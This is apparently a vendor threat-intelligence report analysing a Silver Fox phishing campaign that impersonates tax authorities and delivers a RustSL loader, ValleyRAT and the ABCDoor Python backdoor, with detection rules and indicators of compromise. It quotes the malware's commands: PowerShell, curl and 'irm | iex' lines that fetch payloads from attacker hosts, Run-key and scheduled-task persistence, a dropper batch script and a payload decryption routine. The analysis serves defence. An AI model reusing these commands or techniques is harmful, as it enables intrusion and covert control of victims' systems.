Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia

Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave

Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive

Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India

Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar

Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email

PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project

Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

  • Eight payload encryption methods
  • Thirteen memory allocation methods
  • Twelve sandbox and virtual machine detection techniques
  • Thirteen payload execution methods
  • Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code

The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

  • sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
  • enc_payload_len: the size of the encrypted payload
  • sgn_iterations and sgn_key: parameters used for decryption
  • sgn_decoder_size and decoder: unused fields
  • enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

  1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.

    Original file containing the encrypted malicious payload

    Original file containing the encrypted malicious payload

  2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
  3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.

    Encrypted malicious payload prior to the final decryption stage

    Encrypted malicious payload prior to the final decryption stage

  4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

  • ip-api.com (the GitHub version relies solely on this service)
  • ipwho.is
  • ipinfo.io
  • ipapi.co
  • www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

  • As an email attachment
  • Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

  • Embedded within the loader body
  • Hosted on an external website as a PNG image
  • Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader

Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

  • p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
  • bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key Description
HKCU:\Console\0 For x86-based modules
HKCU:\Console\1 For x64-based modules
HKCU:\Console\IpDate Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value Module name Library MD5 hash Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0 保86.dll 4a5195a38a458cdd2c1b5ab13af3b393 2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0 保86.dll e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32
2375193669e243e830ef5794226352e7 保86.dll_bin e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions

Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

  1. Using the InternetReadFile function with the User-Agent PythonDownloader
  2. Using the URLDownloadToFile function
  3. Using PowerShell:
    powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"
  4. Using curl:
    curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive

Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

Contents of update.bat
After copying the files, the script launches the appclient Python module using the legitimate pythonw tool:
start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point

Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

  1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
    "C:\Users\&lt;username&gt;\AppData\Local\appclient\python\pythonw.exe" -m appclient

    Persistence is established by executing the following command:
    cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"
  2. Task scheduler: The malware executes
    cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

  • MainManager: handles C2 connection and authorization (sending system metadata)
  • MessageManager: registers and executes message handlers
  • AutoStartManager: manages backdoor persistence
  • ClientManager: handles backdoor updates and removal
  • SystemInfoManager: collects data from the victim’s system, including screenshots
  • RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
  • FileManager: performs file system operations
  • KeyboardManager: emulates keyboard input
  • ProcessManager: manages system processes
  • ClipboardManager: exfiltrates clipboard contents to the C2
  • CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
  • Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)
Backdoor strings with characteristic names

Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

  • Emulating a double click while broadcasting the victim’s screen
  • A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

  • Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
  • Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
  • Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version Compiled date (UTC) Key updates ABCDoor .pyd MD5 hash
121 2024.12.19 18:27:11 –  Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)
–  No OOP used
–  Registry persistence
5b998a5bc5ad1c550564294034d4a62c
143 2025.02.04 01:15:00 Client updates
–  Task scheduler persistence
–  OOP implementation (classes)
–  Clipboard management
–  Process management
–  Asymmetric file and directory encryption
c50c980d3f4b7ed970f083b0d37a6a6a
152 2025.04.01 15:39:36 –  DPAPI encryption functions
–  Chunked file uploading to C2
de8f0008b15f2404f721f76fac34456a
154 2025.05.09 13:36:24 –  Implementation of installation channels
–  Key combination emulation
9bf9f635019494c4b70fb0a7c0fb53e4
156 2025.08.11 13:36:10 –  Retrieval and logging of initial installation time to the registry a543b96b0938de798dd4f683dd92a94a
157 2025.08.28 14:23:57 –  Use of DDA source in ffmpeg for monitor screen broadcasting fa08b243f12e31940b8b4b82d3498804
157 2025.09.23 11:38:17 –  Compiled with Cython 3.0.7 (previous version used Cython 3.0.12) 13669b8f2bd0af53a3fe9ac0490499e5

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

    • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
    • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
      powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"

      This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

      • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
        • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
        • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
      • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
      • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
      • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
      • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

      • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
      • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
      • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
      • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
      • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
      • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

      • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
      • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
      • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
      • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
      • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

Icons of the SFX archives

Icons of the SFX archives

When executed, the SFX archive ran the following script:

SFX archive script

SFX archive script

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script

The run_direct.ps1 script

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

Decrypted configuration for the JS loader

Decrypted configuration for the JS loader

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Log fragments gathered from throughout the JS code

Log fragments gathered from throughout the JS code

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
